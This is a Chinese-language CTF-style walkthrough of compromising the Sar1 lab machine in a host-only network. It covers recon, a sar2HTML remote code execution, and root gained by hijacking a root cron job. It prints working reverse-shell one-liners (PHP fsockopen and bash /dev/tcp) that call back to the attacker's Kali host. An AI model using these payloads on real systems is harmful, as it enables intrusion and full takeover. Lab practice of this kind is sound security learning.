本次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。
文章目录
靶机介绍
本次给大家带来VirtualBox的Sar1靶机的渗透横向过程(Vmware用不了);
上次给大家带来的DC-3靶机,则是首次利用了PHP一句话木马进行渗透操作;
此次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。
将文件下载下来后,导入到VirtualBox:

随后修改一下网络配置,将其设置为VirtualBox Host-only模式:


随后打开靶机,进行我们的渗透操作;
信息收集
本次渗透中,目标主机的IP地址网段为:192.168.56.0/24

- 本机kaliIP地址:
192.168.56.102
经过排查,得出目标主机的IP地址为192.168.56.107

接下来我们使用kali进行更加详细的信息收集:
bash
# 简略信息
nmap -sC -sV -v -A -p- 192.168.56.107
# 详细信息
nmap -sC -sV -T4 -A -p- 192.168.56.107
# 探测版本
nmap -O 192.168.56.107
得到的扫描结果如下:

得到信息:只开放了http服务;
访问Web页面
那就访问看一下:

发现是一个默认的Apache配置,Ctrl+U查看源代码,也没有发现什么有效信息;
既然如此,我们先对其进行目录扫描:
bash
# 使用dirsearch
python dirsearch.py -t 100 -u http://192.168.56.107.101/ --include-status 200,301
得到三个页面:

index.html:默认页面phpinfo.php:泄露信息:PHP 版本、服务器系统(OS)、数据库版本、已安装扩展、文件路径、环境变量等,可能被黑客利用寻找漏洞。robots.txt:可能包含敏感目录和文件路径,
phpinfo.php 敏感信息
按键盘 Ctrl+F 调出浏览器搜索框,输入对应关键词,直接定位敏感信息:
| 要查找的信息 | 搜索关键词 |
|---|---|
| PHP版本 | PHP Version |
| 服务器系统(OS) | System |
| 数据库版本(MySQL) | mysql 或 mysqli |
| 已安装扩展 | Configure Command |
| 文件路径 | DOCUMENT_ROOT 或 PATH |
| 环境变量 | Environment |
从phpinfo.php页面中,我们得到了当前用户的特权,目录等信息:
PHP Version------ 7.1.32-1+ubuntu18.04.1+deb.sury.org+1SYSTEM------ Linux sar 5.0.0-23-generic #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019 x86_64
DOCUMENT_ROOT------ /var/www/html
robots.txt泄露信息
我们http://192.168.56.107/robots.txt访问后,得到信息:

sar 负责收集原始监控数据,sar2HTML 负责把这些 "看不懂的文本" 变成 "能直观看到的图表 / 表格",常用于服务器日常监控或性能排查。
根据搜索得到的信息,我们访问 url/sar2HTML页面:

随后去漏洞库搜索,发现了一个可用的RCE:

我们将脚本保存下来,然后执行:

成功得到一个交互式脚本;
思路:可以借助该exploit获得一个反弹shell,本例中使用的获得反弹shell的命令如下,其中192.168.56.107为目前Kali系统的实际IP,这里使用了1234端口作为反弹shell的接收端口。
使用命令:
- 这里kali的IP地址为:
192.168.56.102 - 执行下述命令时,先开启一个监听
bash
# 执行命令
php -r '$sock=fsockopen("192.168.56.102",1234);shell_exec("sh <&3 >&3 2>&3");'
(执行命令若无反弹shell,可将命令url编码后,再执行)
成功反弹一个shell:

渗透操作
上一节获得的反弹shell默认位于/var/www/html/sar2HTML目录下,通过cd...命令跳转到上一层目录,即/var/www/html/,会发现两个特殊的文件:finally.sh和write.sh:

分别查看内容:
bash
# finally.sh内容
./write.sh
# write.sh内容
touch /tmp/gateway

同时,finally.sh还是拥有root权限的脚本:

www-data对write.sh文件拥有读写和执行权限,这意味着当前的反弹shell可以修改write.sh的文件内容!
(1)所以,我们可以通过修改write.sh的内容(来创建一个定时任务);
(2)然后finally.sh执行(root权限);
(2)此时finally.sh反弹的shell就拥有root权限;成功实现越权;
然后我们将LinxEnum上传到目标主机上,并执行枚举操作:

解压后执行脚本:

然后可以发现在定时任务处,有一个情况:

作用:每隔5分钟,以root权限执行finally.sh脚本;
额外知识:
crontab 的时间格式由五个字段组成,分别表示分钟、小时、日、月、星期几,后面跟要执行的命令:
bash
* * * * * command
- - - - -
| | | | |
| | | | ----- 星期几 (0-6, 0 表示周日)
| | | ------- 月份 (1-12)
| | --------- 日期 (1-31)
| ----------- 小时 (0-23)
------------- 分钟 (0-59)
crontab 命令格式的完整语法:
bash
# 注释行
* * * * * command >> /path/to/logfile 2>&1
--
利用计划任务进行提权实战
(1)根据之前的分析可知,finally.sh会执行write.sh,而我们又具有write.sh的修改权限 ;
(2)因此只需要篡改 write.sh文件的内容,当以root权限执行的finally.sh调用write.sh时;
(3)这些篡改的命令就会被触发,并从finally.sh处继承root权限
将如下命令写入write.sh并替换其原有的内容;
将上述命令写入write.sh的方法很多,可以通过
nc命令,也可以直接通过echo命令,具体如下:
注意:执行脚本前,需在控制端(192.168.56.102)启动 nc 监听端口:nc -lvp 8885,否则无法接收反向 Shell;
bash
# 代码一
echo 'bash -i >& /dev/tcp/192.168.56.102/8885 0>&1' > write.sh
# 代码二
echo '#!/bin/bash
bash -i >& /dev/tcp/192.168.56.102/8885 0>&1' > write.sh
完成上述操作后,最多只需等待5分钟,即一个计划任务的执行周期,便可在Kali系统的8885端口获得一个新的来自于该目标主机的反弹shell连接,且其为root权限:

经过不懈的等待,终于反弹了shell:

成功getshell
总结
本次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。
期待下次再见;